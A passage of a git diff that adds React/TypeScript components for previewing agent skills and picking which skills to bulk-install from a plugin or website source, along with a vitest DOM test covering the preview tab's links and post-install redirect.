+import { SKILL_SCOPE_ORDER, useSkillScopeLabels } from '@/lib/skill-scope';
+import { discoverSkillsInSource, importSkillsBulk, installSkill } from '@/lib/skills-api';
+
+/**
+ * One source that carries several skills, normalized across the two ways we
+ * learn that. A cloned repo can declare a PLUGIN manifest (`plugin` names it,
+ * and the manifest also lists capabilities OK never installs); a website
+ * source has no manifest at all — its `.well-known` index simply lists every
+ * skill on that origin, which is a bundle in every sense that matters here
+ * (`plugin: null`). Both feed the same picker.
+ */
+export interface SkillBundleDisclosure {
+ /** Plugin name when a manifest declares one; null for a bare multi-skill source. */
+ plugin: string | null;
+ /** Every skill the source carries, including the one being previewed. */
+ names: readonly string[];
+ /** Executable capabilities the plugin ships. Named only, never installed. */
+ capabilities?: PluginBundleMetadata['capabilities'];
+ repositoryUrl?: string;
+}
+
+/**
+ * Pick which of a source's bundled skills to install. Reached from the
+ * "part of a plugin" / "this source has N skills" disclosure on an un-imported
+ * preview.
+ *
+ * A PICKER, deliberately not a one-click "install all 41": dozens of unreviewed
+ * skills all competing to trigger is a worse outcome than the three the user
+ * actually wanted, and every row here lands in the agent's context. The whole
+ * selection imports through ONE server-side clone
+ * (`POST /api/skills/import-bulk`), which is the reason this exists rather than
+ * the per-skill Install menu run N times.
+ */
+export function SkillPluginBundleDialog({
+ bundle,
+ source,
+ defaultScope,
+ onInstalled,
+ onOpenChange,
+}: {
+ /** `null` keeps the dialog closed. */
+ bundle: SkillBundleDisclosure | null;
+ /** The import source the preview was opened with (repo, site, or skills.sh URL). */
+ source: string;
+ defaultScope: SkillScope;
+ /** Skills that landed, keyed BOTH by what was requested and by the on-disk
+ * name (they differ on a collision rename). The preview tab that hosts this
+ * banner uses it to stop showing a preview of a skill the user now owns. */
+ onInstalled?: (landed: ReadonlyMap<string, string>) => void;
+ onOpenChange: (open: boolean) => void;
+}) {
+ const { t } = useLingui();
+ const scopeId = useId();
+ const scopeLabels = useSkillScopeLabels();
+ const [scope, setScope] = useState<SkillScope>(defaultScope);
+ const [selected, setSelected] = useState<ReadonlySet<string>>(new Set());
+ const [busy, setBusy] = useState(false);
+ // Descriptions come from the same enumeration the Import picker uses. The
+ // manifest's `bundledSkills` is the fallback: names alone still install, and a
+ // flaked discover shouldn't empty the list.
+ const [described, setDescribed] = useState<ReadonlyMap<string, string | null>>(new Map());
+ // Which agents the selection is projected into. Seeded from the project's
+ // configured targets — the set the server would have auto-projected into —
+ // so the common case is one click, and any other set is a deliberate change.
+ const skillTargets = useSkillTargets();
+ const [editors, setEditors] = useState<ReadonlySet<SkillTargetEditor> | null>(null);
+ const configuredTargets =
+ skillTargets.state.status === 'ready' ? skillTargets.state.data.targets : null;
+ const effectiveEditors: ReadonlySet<SkillTargetEditor> =
+ editors ?? new Set(configuredTargets ?? []);
+
+ const open = bundle !== null;
+ useEffect(() => {
+ if (!open) return;
+ setSelected(new Set());
+ setEditors(null);
+ setScope(defaultScope);
+ const ctrl = new AbortController();
+ void discoverSkillsInSource(source, ctrl.signal).then((res) => {
+ if (ctrl.signal.aborted || !res.ok) return;
+ setDescribed(new Map(res.skills.map((s) => [s.name, s.description])));
+ });
+ return () => ctrl.abort();
+ }, [open, source, defaultScope]);
+
+ if (!bundle) return null;
+ const { plugin, names } = bundle;
+ const allSelected = selected.size === names.length && names.length > 0;
+
+ function toggle(name: string, on: boolean) {
+ const next = new Set(selected);
+ if (on) next.add(name);
+ else next.delete(name);
+ setSelected(next);
+ }
+
+ async function install() {
+ setBusy(true);
+ // Acquire with `install: false`, then project explicitly into the agents the
+ // user ticked. Letting the server auto-project would silently install into
+ // whatever it detects, which is the one thing a destination picker exists to
+ // prevent — and the same set-exact contract the single-skill menu uses.
+ const result = await importSkillsBulk({
+ source,
+ skills: [...selected],
+ scope,
+ install: false,
+ });
+ if (!result.ok) {
+ setBusy(false);
+ toast.error(t`Couldn't install from ${plugin ?? source}: ${result.error}`);
+ return;
+ }
+ const landed = result.results
+ .map((r) => r.name)
+ .filter((n): n is string => typeof n === 'string');
+ const agents = [...effectiveEditors];
+ if (agents.length > 0) {
+ // Sequential: each is a local projection, and the shared placements ledger
+ // is a read-modify-write that concurrent installs would clobber.
+ for (const skillName of landed) {
+ const projected = await installSkill({
+ scope,
+ name: skillName,
+ targets: agents,
+ linkMode: true,
+ });
+ if (!projected.ok) toast.error(t`Couldn't install ${skillName}: ${projected.error}`);
+ }
+ }
+ setBusy(false);
+ const { imported, alreadyImported, failed } = result;
+ if (failed > 0) {
+ // Name the failures: a count alone leaves the user unable to retry the
+ // right rows. The successes are already on disk either way.
+ const failedNames = result.results
+ .filter((r) => r.status === 'failed' || r.status === 'not-found')
+ .map((r) => r.requested)
+ .join(', ');
+ toast.error(t`Installed ${imported}, but ${failed} failed: ${failedNames}`);
+ } else if (imported === 0) {
+ toast.info(t`Already installed — nothing new to import.`);
+ } else if (alreadyImported > 0) {
+ toast.success(t`Installed ${imported} skills (${alreadyImported} were already present)`);
+ } else {
+ toast.success(t`Installed ${imported} skills from ${plugin ?? source}`);
+ }
+ // Report what landed BEFORE closing: the host may replace this whole subtree
+ // (a preview tab swaps itself for the real skill), and a callback fired
+ // after that never arrives. Keyed by BOTH the requested name and the on-disk
+ // one — a collision rename makes them differ, and the caller may know either.
+ const landedByRequest = new Map<string, string>();
+ for (const r of result.results) {
+ if (r.status !== 'imported' && r.status !== 'already-imported') continue;
+ landedByRequest.set(r.requested, r.name ?? r.requested);
+ }
+ if (landedByRequest.size > 0) onInstalled?.(landedByRequest);
+ onOpenChange(false);
+ }
+
+ return (
+ <Dialog
+ open={open}
+ onOpenChange={(next) => {
+ if (!next && !busy) onOpenChange(false);
+ }}
+ >
+ <DialogContent className="sm:max-w-lg">
+ <DialogHeader>
+ <DialogTitle>
+ {plugin ? <Trans>Install from {plugin}</Trans> : <Trans>Install from {source}</Trans>}
+ </DialogTitle>
+ <DialogDescription>
+ {plugin ? (
+ <Trans>
+ Pick the skills to install. Each one lands as an editable skill you own; the
+ plugin's hooks, commands, and MCP servers are not installed.
+ </Trans>
+ ) : (
+ <Trans>
+ Pick the skills to install. Each one lands as an editable skill you own.
+ </Trans>
+ )}
+ </DialogDescription>
+ </DialogHeader>
+ <DialogBody className="flex flex-col gap-4">
+ <div className="flex flex-col gap-2">
+ <Label htmlFor={scopeId}>
+ <Trans>Level</Trans>
+ </Label>
+ <Select value={scope} onValueChange={(v) => setScope(v as SkillScope)}>
+ <SelectTrigger id={scopeId} className="w-full">
+ <SelectValue />
+ </SelectTrigger>
+ <SelectContent>
+ {SKILL_SCOPE_ORDER.map((s) => (
+ <SelectItem key={s} value={s}>
+ {scopeLabels[s]}
+ </SelectItem>
+ ))}
+ </SelectContent>
+ </Select>
+ </div>
+ <div className="flex flex-col gap-2">
+ <Label>
+ <Trans>Install into</Trans>
+ </Label>
+ <div className="flex flex-wrap gap-x-4 gap-y-2">
+ {INSTALL_EDITORS.map((editor) => (
+ <Label
+ key={editor}
+ className="flex cursor-pointer items-center gap-2 text-sm font-normal"
+ >
+ <Checkbox
+ checked={effectiveEditors.has(editor)}
+ disabled={busy}
+ onCheckedChange={(checked) => {
+ const next = new Set(effectiveEditors);
+ if (checked === true) next.add(editor);
+ else next.delete(editor);
+ setEditors(next);
+ }}
+ />
+ {EDITOR_LABELS[editor] ?? editor}
+ </Label>
+ ))}
+ </div>
+ {effectiveEditors.size === 0 ? (
+ // Not an error: the skills still land as project skills you can
+ // install later. Say so, so an empty set doesn't read as a failure.
+ <p className="text-1sm text-muted-foreground">
+ <Trans>No agents selected — the skills are saved but not installed anywhere.</Trans>
+ </p>
+ ) : null}
+ </div>
+ <div className="flex items-center justify-between">
+ <p className="font-medium text-xs font-mono text-muted-foreground/80 uppercase tracking-wider">
+ <Trans>
+ {selected.size} of {names.length} selected
+ </Trans>
+ </p>
+ <Button
+ variant="ghost"
+ size="sm"
+ disabled={busy}
+ onClick={() => setSelected(allSelected ? new Set() : new Set(names))}
+ >
+ {allSelected ? <Trans>Clear</Trans> : <Trans>Select all</Trans>}
+ </Button>
+ </div>
+ {/* The list scrolls inside the dialog: a 40-skill plugin would
+ otherwise push the footer off-screen. */}
+ <div className="max-h-72 overflow-y-auto rounded-md border border-border divide-y divide-border">
+ {names.map((name) => {
+ const description = described.get(name);
+ return (
+ <Label
+ key={name}
+ className="flex cursor-pointer items-start gap-3 p-3 text-sm font-normal hover:bg-muted/40"
+ >
+ <Checkbox
+ checked={selected.has(name)}
+ disabled={busy}
+ onCheckedChange={(checked) => toggle(name, checked === true)}
+ className="mt-0.5"
+ />
+ <span className="flex min-w-0 flex-col gap-0.5">
+ <span className="font-mono">{name}</span>
+ {description ? (
+ <span className="text-1sm text-muted-foreground line-clamp-2">
+ {description}
+ </span>
+ ) : null}
+ </span>
+ </Label>
+ );
+ })}
+ </div>
+ </DialogBody>
+ <DialogFooter>
+ <Button
+ variant="outline"
+ className="font-mono uppercase"
+ disabled={busy}
+ onClick={() => onOpenChange(false)}
+ >
+ <Trans>Cancel</Trans>
+ </Button>
+ <Button
+ data-testid="plugin-bundle-install"
+ disabled={busy || selected.size === 0}
+ onClick={() => void install()}
+ >
+ {busy ? (
+ <>
+ <Loader2Icon className="size-4 animate-spin" />
+ <Trans>Installing</Trans>
+ </>
+ ) : (
+ <Trans>Install selected</Trans>
+ )}
+ </Button>
+ </DialogFooter>
+ </DialogContent>
+ </Dialog>
+ );
+}
diff --git a/packages/app/src/components/SkillPreviewTab.dom.test.tsx b/packages/app/src/components/SkillPreviewTab.dom.test.tsx
new file mode 100644
index 000000000..a4b9c51d3
--- /dev/null
+++ b/packages/app/src/components/SkillPreviewTab.dom.test.tsx
@@ -0,0 +1,203 @@
+import { render, screen } from '@testing-library/react';
+import userEvent from '@testing-library/user-event';
+import { type ReactNode, useEffect } from 'react';
+import { describe, expect, test, vi } from 'vitest';
+
+// Opt-in per test: only the bulk-install test wants the bundle banner disclosed.
+const previewMeta: { pluginBundle?: { plugin: string | null; bundledSkills: string[] } } = {};
+
+vi.doMock('@/components/SkillBundlePreview', () => ({
+ SkillBundlePreview: ({
+ headerActions,
+ banner,
+ onPreviewMeta,
+ }: {
+ headerActions: ReactNode;
+ banner?: ReactNode;
+ onPreviewMeta?: (preview: {
+ plugin?: {
+ provider: string;
+ plugin: string;
+ version?: string;
+ marketplace?: string;
+ repositoryUrl?: string;
+ };
+ pluginBundle?: { plugin: string | null; bundledSkills: string[] };
+ }) => void;
+ }) => {
+ useEffect(() => {
+ onPreviewMeta?.({
+ plugin: {
+ provider: 'claude',
+ plugin: 'ponytail',
+ version: '4.8.4',
+ marketplace: 'ponytail',
+ repositoryUrl: 'https://github.com/acme/ponytail',
+ },
+ pluginBundle: previewMeta.pluginBundle,
+ });
+ }, [onPreviewMeta]);
+ return (
+ <>
+ {headerActions}
+ {banner}
+ </>
+ );
+ },
+}));
+
+// The bulk import runs inside the real banner; this stands in for "the user
+// finished the picker and these skills landed".
+vi.doMock('@/components/SkillPluginBundleBanner', () => ({
+ SkillPluginBundleBanner: ({
+ onInstalled,
+ }: {
+ onInstalled?: (landed: ReadonlyMap<string, string>) => void;
+ }) => (
+ <button
+ type="button"
+ data-testid="bulk-install-finished"
+ onClick={() => onInstalled?.(new Map([['grill-me', 'grill-me']]))}
+ >
+ bulk install
+ </button>
+ ),
+}));
+vi.doMock('@/components/SkillInstallMenu', () => ({
+ SkillInstallMenuItems: () => <div data-testid="destination-choices">Destinations</div>,
+ SKILL_INSTALL_MENU_WIDTH: 'min-w-[24rem]',
+ // The bundle picker reached through the plugin banner reads the editor list
+ // from this module too, so the mock has to carry it or the tree fails to load.
+ INSTALL_EDITORS: ['claude', 'cursor', 'codex'],
+}));
+vi.doMock('@/components/skill-actions', () => ({
+ SkillPlaceDialog: () => null,
+}));
+const openSkill = vi.fn();
+vi.doMock('@/hooks/use-open-skill', () => ({
+ useOpenSkill: () => openSkill,
+}));
+vi.doMock('@/lib/skill-scope', () => ({
+ useSkillScopeLabels: () => ({ project: 'Project', global: 'Global' }),
+ SKILL_SCOPE_ORDER: ['project', 'global'],
+}));
+vi.doMock('@/lib/skills-api', () => ({
+ fetchSkillDetail: vi.fn(),
+ placeSkill: vi.fn(),
+ // A website preview enumerates the source's siblings for the bundle
+ // disclosure; the picker it opens imports + installs the selection.
+ discoverSkillsInSource: vi.fn(async () => ({ ok: false, error: 'not in this test' })),
+ importSkillsBulk: vi.fn(),
+ installSkill: vi.fn(),
+}));
+
+const setScope = vi.fn();
+vi.doMock('@/hooks/use-explore-preview-install', () => ({
+ useExplorePreviewInstall: () => ({
+ scope: 'global',
+ setScope,
+ scopeLocked: false,
+ importedName: null,
+ importNow: vi.fn(),
+ toggles: {
+ hostSet: new Set(),
+ installed: false,
+ installing: false,
+ toggleEditor: vi.fn(),
+ installAll: vi.fn(),
+ linkMode: false,
+ setLinkMode: vi.fn(),
+ setSource: vi.fn(),
+ placeAt: vi.fn(),
+ },
+ }),
+}));
+
+const skillsApi = await import('@/lib/skills-api');
+const { SkillPreviewTab } = await import('./SkillPreviewTab');
+
+describe('SkillPreviewTab plugin copy', () => {
+ test('opens destination and level choices before creating the editable copy', async () => {
+ const user = userEvent.setup();
+ render(
+ <SkillPreviewTab
+ flavor="detected"
+ source="/Users/test/.claude/plugins/cache/ponytail/ponytail/4.8.4/skills/ponytail-audit"
+ name="ponytail-audit"
+ subtitle="claude"
+ level="global"
+ />,
+ );
+
+ await user.click(screen.getByTestId('skill-preview-edit-a-copy'));
+
+ expect(await screen.findByText('Level')).toBeTruthy();
+ expect(screen.getByText('Project')).toBeTruthy();
+ expect(screen.getByText('Global')).toBeTruthy();
+ expect(screen.getByTestId('destination-choices')).toBeTruthy();
+ });
+});
+
+describe('SkillPreviewTab marketplace links', () => {
+ test('labels a website publisher as a source without inventing a GitHub repository', async () => {
+ vi.mocked(skillsApi.fetchSkillDetail).mockResolvedValue({
+ ok: true,
+ title: 'lark-attendance',
+ description: 'Attendance tools',
+ image: null,
+ skillsUrl: 'https://www.skills.sh/site/open.feishu.cn/lark-attendance',
+ sourceKind: 'site',
+ sourceUrl: 'https://open.feishu.cn',
+ });
+
+ render(
+ <SkillPreviewTab
+ flavor="explore"
+ source="open.feishu.cn"
+ name="lark-attendance"
+ subtitle="open.feishu.cn"
+ />,
+ );
+
+ expect((await screen.findByRole('link', { name: 'Source' })).getAttribute('href')).toBe(
+ 'https://open.feishu.cn',
+ );
+ expect(screen.getByRole('link', { name: 'skills.sh' }).getAttribute('href')).toBe(
+ 'https://www.skills.sh/site/open.feishu.cn/lark-attendance',
+ );
+ expect(screen.queryByRole('link', { name: 'Repository' })).toBeNull();
+ });
+});
+
+describe('SkillPreviewTab bulk plugin install', () => {
+ test('leaves the preview for the real skill once a bundle install lands it', async () => {
+ const user = userEvent.setup();
+ openSkill.mockClear();
+ previewMeta.pluginBundle = { plugin: 'ponytail', bundledSkills: ['grill-me', 'grilling'] };
+ vi.mocked(skillsApi.fetchSkillDetail).mockResolvedValue({
+ ok: true,
+ title: 'grill-me',
+ description: null,
+ image: null,
+ skillsUrl: null,
+ sourceKind: 'git',
+ sourceUrl: null,
+ });
+
+ render(
+ <SkillPreviewTab
+ flavor="explore"
+ source="acme/ponytail"
+ name="grill-me"
+ subtitle="ponytail"
+ />,
+ );
+
+ // The bundle picker imports every skill itself, so this tab only ever hears
+ // about its own arrival through the banner's callback.
+ await user.click(await screen.findByTestId('bulk-install-finished'));
+
+ expect(openSkill).toHaveBeenCalledWith('global', 'grill-me', { replaceActive: true });
+ previewMeta.pluginBundle = undefined;
+ });
+});
diff --git a/packages/app/src/components/SkillPreviewTab.tsx b/packages/app/src/components/SkillPreviewTab.tsx
new file mode 100644
index 000000000..e2b3d7832
--- /dev/null
+++ b/packages/app/src/components/SkillPreviewTab.tsx
@@ -0,0 +1,372 @@
+import {
+ type PluginBundleMetadata,
+ type PluginSourceMetadata,
+ type SkillDetail,
+ type SkillScope,
+ skillsShSkillLinks,
+} from '@inkeep/open-knowledge-core';
+import { Trans } from '@lingui/react/macro';
+import { ArrowUpRightIcon, ChevronDown } from 'lucide-react';
+import { useEffect, useRef, useState } from 'react';
+import { SkillBundlePreview } from '@/components/SkillBundlePreview';
+import { SKILL_INSTALL_MENU_WIDTH, SkillInstallMenuItems } from '@/components/SkillInstallMenu';
+import { SkillPluginBundleBanner } from '@/components/SkillPluginBundleBanner';
+import type { SkillBundleDisclosure } from '@/components/SkillPluginBundleDialog';
+import { Button } from '@/components/ui/button';
+import {
+ DropdownMenu,
+ DropdownMenuContent,
+ DropdownMenuLabel,
+ DropdownMenuRadioGroup,
+ DropdownMenuRadioItem,
+ DropdownMenuSeparator,
+ DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu';
+import { useExplorePreviewInstall } from '@/hooks/use-explore-preview-install';
+import { useOpenSkill } from '@/hooks/use-open-skill';
+import { hashFromSkillFile, hashFromSkillPreview, type SkillPreviewFlavor } from '@/lib/doc-hash';
+import { useSkillScopeLabels } from '@/lib/skill-scope';
+import { discoverSkillsInSource, fetchSkillDetail } from '@/lib/skills-api';
+
+interface Props {
+ /** `explore` = a skills.sh catalog entry; `detected` = a skill found in another
+ * tool; `builtin` = one of OK's own shipped skills (read-only, nothing to import). */
+ flavor: SkillPreviewFlavor;
+ /** skills.sh source identifier for Explore, or a local directory for Detected. */
+ source: string;
+ name: string;
+ /** Repo (explore) or the detected skill's source harness (which the manage action targets). */
+ subtitle: string;
+ /** The scope the skill sits at, shown read-only in the preview's Level row. */
+ level?: SkillScope;
+ /** Shift the header actions clear of the floating terminal reveal tab. */
+ reserveRightGutter?: boolean;
+ /** The selected bundle file (`SKILL.md` / `references/x.md`), from the hash —
+ * so a sidebar tree click and the preview's own FILES list share one
+ * selection. Absent = SKILL.md. */
+ path?: string;
+}
+
+/**
+ * Full-page, read-only preview of an un-imported skill, opened as its own tab
+ * (not a modal) before the skill exists as a project doc. Wraps the shared
+ * {@link SkillBundlePreview} with a Manage/Import action and, for skills.sh
+ * results, the discovery links + Open Graph fallback. Once acquired the skill is
+ * a real content doc, so we hand off to the live editor via `openManagedArtifactTab`.
+ */
+const SKILL_MD = 'SKILL.md';
+
+export function SkillPreviewTab({
+ flavor,
+ source,
+ name,
+ subtitle,
+ level,
+ reserveRightGutter,
+ path,
+}: Props) {
+ const selectedPath = path ?? SKILL_MD;
+ const scopeLabels = useSkillScopeLabels();
+ const openSkill = useOpenSkill();
+ // skills.sh discovery metadata (links + OG image); detected skills have none.
+ const [detail, setDetail] = useState<SkillDetail | null>(null);
+ const [imageOk, setImageOk] = useState(true);
+
+ useEffect(() => {
+ if (flavor !== 'explore') return;
+ let cancelled = false;
+ void fetchSkillDetail({ source, name }).then((res) => {
+ if (cancelled) return;
+ if (res.ok) setDetail(res);
+ });
+ return () => {
+ cancelled = true;
+ };
+ }, [flavor, source, name]);
+
+ // Plugin providers normalize their manifest/cache formats at the server
+ // boundary. The UI never parses provider-specific paths.
+ const [pluginInfo, setPluginInfo] = useState<PluginSourceMetadata | null>(null);
+ // The skills.sh source repo is itself a plugin bundling several skills — the
+ // disclosure that offers "import the whole set" (and is how a skill's
+ // `/other-skill` refs resolve: siblings live in the same plugin).
+ const [pluginBundle, setPluginBundle] = useState<PluginBundleMetadata | null>(null);
+ const marketplaceLinks = flavor === 'explore' ? skillsShSkillLinks(source, name) : null;
+ const sourceUrl =
+ flavor === 'explore'
+ ? (detail?.sourceUrl ?? marketplaceLinks?.sourceUrl)
+ : pluginInfo?.repositoryUrl;
+ const sourceKind = detail?.sourceKind ?? marketplaceLinks?.sourceKind;
+ // A WEBSITE source has no plugin manifest to inspect — its `.well-known`
+ // index is the only statement of what it publishes, and skills.sh surfaces
+ // one skill at a time. Enumerate it so a multi-skill origin gets the same
+ // sibling disclosure a plugin repo gets. Site-only: for a repo the preview's
+ // own clone already answered this via `pluginBundle`, and enumerating anyway
+ // would clone the repo a second time per preview open.
+ const [siteSiblings, setSiteSiblings] = useState<readonly string[] | null>(null);
+ useEffect(() => {
+ // Clear FIRST: between two site-typed previews the source changes but the
+ // effect only resolves asynchronously, so the previous source's sibling list
+ // stayed on screen — the disclosure would offer to import skills that belong
+ // to a different publisher.
+ setSiteSiblings(null);
+ if (flavor !== 'explore' || sourceKind !== 'site') return;
+ const ctrl = new AbortController();
+ void discoverSkillsInSource(source, ctrl.signal).then((res) => {
+ if (ctrl.signal.aborted || !res.ok) return;
+ setSiteSiblings(res.skills.map((s) => s.name));
+ });
+ return () => ctrl.abort();
+ }, [flavor, sourceKind, source]);
+ // One shape for the banner + picker: the plugin manifest when the source
+ // declares one, else the website index's sibling list.
+ const bundleDisclosure: SkillBundleDisclosure | null = pluginBundle
+ ? {
+ plugin: pluginBundle.plugin,
+ names: pluginBundle.bundledSkills,
+ capabilities: pluginBundle.capabilities,
+ ...(pluginBundle.repositoryUrl ? { repositoryUrl: pluginBundle.repositoryUrl } : {}),
+ }
+ : siteSiblings
+ ? { plugin: null, names: siteSiblings }
+ : null;
+ const detected = flavor === 'detected';
+ const builtin = flavor === 'builtin';
+ const targetScope: SkillScope = level ?? 'project';
+ // Explore and plugin-copy previews install through the shared per-agent menu.
+ // Import is implied on the first destination choice, so opening/cancelling the
+ // menu never creates a draft or silently privileges one skills root.
+ const previewInstall = useExplorePreviewInstall({ source, name, initialScope: targetScope });
+ // The moment the IMPORT completes (bundle on disk), replace this preview with
+ // the real editable skill tab — the editor-install fan-out keeps running in
+ // the background and the INSTALLED badge catches up via the list refetch.
+ // Waiting for the full install held the redirect hostage to the slowest copy.
+ // Fire-once ref so re-renders can never re-dispatch the open (a replaceActive
+ // loop is a crash).
+ const redirectedRef = useRef(false);
+ // A bulk plugin install lands entirely inside the banner, so `previewInstall`
+ // (which only tracks ITS own import-then-place cycle) never sees it.
+ const [bulkInstalledName, setBulkInstalledName] = useState<string | null>(null);
+ const landedName = previewInstall.importedName ?? bulkInstalledName;
+ const importedNow = (flavor === 'explore' || pluginInfo !== null) && landedName !== null;
+ useEffect(() => {
+ if (!importedNow || redirectedRef.current) return;
+ redirectedRef.current = true;
+ openSkill(previewInstall.scope, landedName as string, {
+ replaceActive: true,
+ });
+ }, [importedNow, previewInstall.scope, landedName, openSkill]);
+ // Capitalized harness for the header copy ("detected in Claude"), matching
+ // the "From Claude" provenance chip.
+ const harnessLabel = subtitle ? subtitle.charAt(0).toUpperCase() + subtitle.slice(1) : subtitle;
+
+ // Left-side header sentence: states that this is a preview and names the exact
+ // next action (matching the button) so a day-zero user knows nothing lands
+ // until they click it. Bolds the skill name, source harness, and level for
+ // scannability. `<strong>` wraps each variable so Lingui extracts them as
+ // inline placeholders.
+ const levelLabel = scopeLabels[targetScope];
+ const boldName = <strong className="font-medium text-foreground">{name}</strong>;
+ const boldLevel = <strong className="font-medium text-foreground">{levelLabel}</strong>;
+ const boldHarness = <strong className="font-medium text-foreground">{harnessLabel}</strong>;
+ const pluginVersion = pluginInfo?.version ? ` (v${pluginInfo.version})` : '';
+ const headerLine = builtin ? (
+ <Trans>
+ This is a preview of {boldName} — a built-in skill shipped with Open Knowledge. It's
+ read-only.
+ </Trans>
+ ) : pluginInfo ? (
+ // A plugin-cache resident: the harness owns and replaces that folder on
+ // plugin updates, so editing it in place would be silent data loss. The
+ // one action is the way out: an editable copy the user owns.
+ <Trans>
+ {boldName} is part of the{' '}
+ <strong className="font-medium text-foreground">{pluginInfo.plugin}</strong> plugin
+ {pluginVersion} — read-only. {boldHarness} replaces plugin files on update.
+ </Trans>
+ ) : detected ? (
+ // No action: a detected skill is edited in place from the sidebar.
+ <Trans>
+ This is a preview of {boldName}, detected in {boldHarness} at the {boldLevel} level.
+ </Trans>
+ ) : (
+ // Import is implied — the action is "Install"; scope is chosen in the menu.
+ <Trans>This is a preview of {boldName}. Install it into your agents.</Trans>
+ );
+
+ const headerActions = builtin ? null : (
+ <>
+ <div className="flex gap-1">
+ {detail?.skillsUrl ? (
+ <Button variant="ghost" size="sm" className="px-2" asChild>
+ <a href={detail.skillsUrl} target="_blank" rel="noreferrer">
+ <Trans>skills.sh</Trans>
+ <ArrowUpRightIcon className="h-3.5 w-3.5" />
+ </a>
+ </Button>
+ ) : null}
+ {sourceUrl ? (
+ <Button variant="ghost" size="sm" className="px-2" asChild>
+ <a href={sourceUrl} target="_blank" rel="noreferrer">
+ {flavor === 'explore' && sourceKind === 'site' ? (
+ <Trans>Source</Trans>
+ ) : (
+ <Trans>Repository</Trans>
+ )}
+ <ArrowUpRightIcon className="h-3.5 w-3.5" />
+ </a>
+ </Button>
+ ) : null}
+ </div>
+ {pluginInfo || !detected ? (
+ // Explore installs and plugin copies go through the SAME destination
+ // menu. The first destination choice performs the import, so "Edit a
+ // copy" never silently defaults to `.agents` or any other root.
+ <DropdownMenu>
+ <DropdownMenuTrigger asChild>
+ <Button
+ size="sm"
+ disabled={previewInstall.toggles.installing}
+ data-testid={pluginInfo ? 'skill-preview-edit-a-copy' : undefined}
+ >
+ {previewInstall.toggles.installing ? (
+ pluginInfo ? (
+ <Trans>Copying</Trans>
+ ) : (
+ <Trans>Installing</Trans>
+ )
+ ) : (
+ <>
+ {pluginInfo ? <Trans>Edit a copy</Trans> : <Trans>Install</Trans>}
+ <ChevronDown className="size-4 opacity-60" aria-hidden />
+ </>
+ )}
+ </Button>
+ </DropdownMenuTrigger>
+ <DropdownMenuContent align="end" className={SKILL_INSTALL_MENU_WIDTH}>
+ <DropdownMenuLabel>
+ <Trans>Level</Trans>
+ </DropdownMenuLabel>
+ <DropdownMenuRadioGroup
+ value={previewInstall.scope}
+ onValueChange={(v) => previewInstall.setScope(v as SkillScope)}
+ >
+ <DropdownMenuRadioItem
+ value="project"
+ disabled={previewInstall.scopeLocked}
+ onSelect={(e) => e.preventDefault()}
+ >
+ {scopeLabels.project}
+ </DropdownMenuRadioItem>
+ <DropdownMenuRadioItem
+ value="global"
+ disabled={previewInstall.scopeLocked}
+ onSelect={(e) => e.preventDefault()}
+ >
+ {scopeLabels.global}
+ </DropdownMenuRadioItem>
+ </DropdownMenuRadioGroup>
+ <DropdownMenuSeparator />
+ <SkillInstallMenuItems
+ toggles={previewInstall.toggles}
+ skill={{ scope: previewInstall.scope, name }}
+ />
+ </DropdownMenuContent>
+ </DropdownMenu>
+ ) : null}
+ </>
+ );
+
+ // A clicked `references/…` chip opens that file the same way every other
+ // bundle file opens: its own read-only skill-file tab, labelled by the file
+ // (`references/x.md`) rather than by the skill. Matches the sidebar, so one
+ // file has one tab and one label no matter which surface opened it.
+ //
+ // Only for a skill that exists on disk. An `explore` preview is un-imported,
+ // so `/api/skill-file` has nothing to read — those keep selecting in place.
+ const onBundlePathClick = (clickedPath: string): boolean => {
+ if (flavor === 'explore') {
+ window.location.hash = hashFromSkillPreview({
+ flavor,
+ source,
+ name,
+ subtitle,
+ level,
+ path: clickedPath,
+ });
+ return true;
+ }
+ // The hash IS the navigation spine — App's hashchange listener turns a
+ // skill-file hash into the tab, so there is no second open path to keep in
+ // step with the sidebar's.
+ window.location.hash = hashFromSkillFile({
+ scope: targetScope,
+ name,
+ path: clickedPath,
+ });
+ return true;
+ };
+
+ return (
+ <SkillBundlePreview
+ source={source}
+ name={name}
+ subtitle={subtitle}
+ tintKey={subtitle || name}
+ onBundlePathClick={onBundlePathClick}
+ headerActions={headerActions}
+ headerLine={headerLine}
+ reserveRightGutter={reserveRightGutter}
+ selectedPath={selectedPath}
+ onPreviewMeta={(preview) => {
+ const next = detected ? (preview.plugin ?? null) : null;
+ setPluginInfo((current) =>
+ current?.provider === next?.provider &&
+ current?.plugin === next?.plugin &&
+ current?.version === next?.version &&
+ current?.marketplace === next?.marketplace &&
+ current?.repositoryUrl === next?.repositoryUrl
+ ? current
+ : next,
+ );
+ // The bundle disclosure is an EXPLORE concern (a fresh skills.sh source);
+ // a detected/plugin-copy preview already lives on disk.
+ setPluginBundle(flavor === 'explore' ? (preview.pluginBundle ?? null) : null);
+ }}
+ banner={
+ bundleDisclosure ? (
+ <SkillPluginBundleBanner
+ bundle={bundleDisclosure}
+ source={source}
+ scope={previewInstall.scope}
+ onInstalled={(landed) => {
+ // The bulk import runs inside the banner, so `previewInstall`
+ // never learns about it and the redirect effect below stays
+ // dormant. Without this the tab keeps reading "This is a preview"
+ // for a skill the user owns, its slash-links stay dead (preview
+ // mode disables them), and its INSTALL menu is still armed — one
+ // click from re-importing as `<name>-imported`.
+ const landedName = landed.get(name);
+ if (landedName !== undefined) setBulkInstalledName(landedName);
+ }}
+ />
+ ) : undefined
+ }
+ // Only a built-in skill has real, resolvable bundle docs; passing its
+ // scope lets `references/*` links in the SKILL.md resolve instead of
+ // rendering broken (§8.3). An un-imported explore/detected skill has no
+ // OK bundle docs, so leave its links unresolved.
+ scope={builtin ? targetScope : undefined}
+ noPreviewFallback={
+ detail?.image && imageOk ? (
+ <img
+ src={detail.image}
+ alt=""
+ className="max-h-full max-w-full rounded-xl border border-border bg-muted"
+ onError={() => setImageOk(false)}
+ />
+ ) : undefined
+ }
+ />
+ );
+}
diff --git a/packages/app/src/components/SkillProperties.dom.test.tsx b/packages/app/src/components/SkillProperties.dom.test.tsx
index c8d589dfd..11bd2e112 100644
--- a/packages/app/src/components/SkillProperties.dom.test.tsx
+++ b/packages/app/src/components/SkillProperties.dom.test.tsx
@@ -42,7 +42,9 @@ const SOURCE = '---\nname: foo\ndescription: initial desc\n---\n\n# Body\n';
describe('SkillProperties (CRDT)', () => {
test('renders the reused document property panel with the doc frontmatter', () => {
const { provider } = makeProvider(SOURCE);
- renderPanel(<SkillProperties provider={provider} name="foo" onRename={() => {}} />);
+ renderPanel(
